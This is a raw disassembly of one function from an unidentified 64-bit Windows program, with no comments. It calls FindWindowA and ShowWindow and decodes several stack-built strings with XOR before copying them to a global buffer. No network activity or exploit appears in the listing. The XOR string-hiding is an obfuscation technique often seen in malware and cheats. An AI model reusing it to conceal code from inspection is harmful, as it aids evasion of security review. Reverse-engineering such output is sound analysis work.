xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140064a50
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm1, xmmword [0x1401125c0]
movdqu xmmword [rsp + 0x6f], xmm1
movdqa xmm2, xmmword [0x1401124f0]
movdqu xmmword [rsp + 0x7f], xmm2
mov dl, reloc.WLDAP32.dll_Ordinal_41
mov r8b, reloc.WLDAP32.dll_Ordinal_50
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x7f], al
xor byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor dl, cl
mov byte [rbp - 0x71], dl
xor r8b, cl
mov byte [rbp - 0x70], r8b
mov byte [rbp - 0x6f], 0
xor r15d, r15d
mov ecx, r15d
lea r14, [0x14075f770]
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x70]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x140064c20
lea rax, [0x14010d6dc]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
lea rbx, [0x14010e5a0]
mov qword [0x14075f768], rbx
lea rcx, [rbp - 0x68]
call fcn.14006d7d0
nop
lea rcx, [rbp + 0x118]
call fcn.14006abf0
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r13d, dword [rbp + 0x1c0]
lea r12, [0x14010e59c]
jmp 0x1400647b0
movdqa xmm0, xmmword [0x140112170]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140112450]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140112290]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x3511402
mov dword [rsp + 0x64], 0x8030514
mov dword [rsp + 0x68], 0x5101d51
mov word [rsp + 0x6c], 0x314
xor eax, eax
mov byte [rsp + 0x6e], al
mov rcx, r15
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x3d
jb 0x140064d00
mov byte [rsp + 0x6e], 0
mov rcx, r15
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x140064d20
mov qword [0x14075f760], r12
mov dword [0x14075fe80], r15d
mov dword [0x14075fe8c], 0
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], 0
mov qword [0x14075f768], rbx
lea rcx, [rbp + 0x118]
call fcn.14006abf0
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x58]
call fcn.140049850
mov rbx, qword [rsp + 0x2d8]
add rsp, 0x280
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret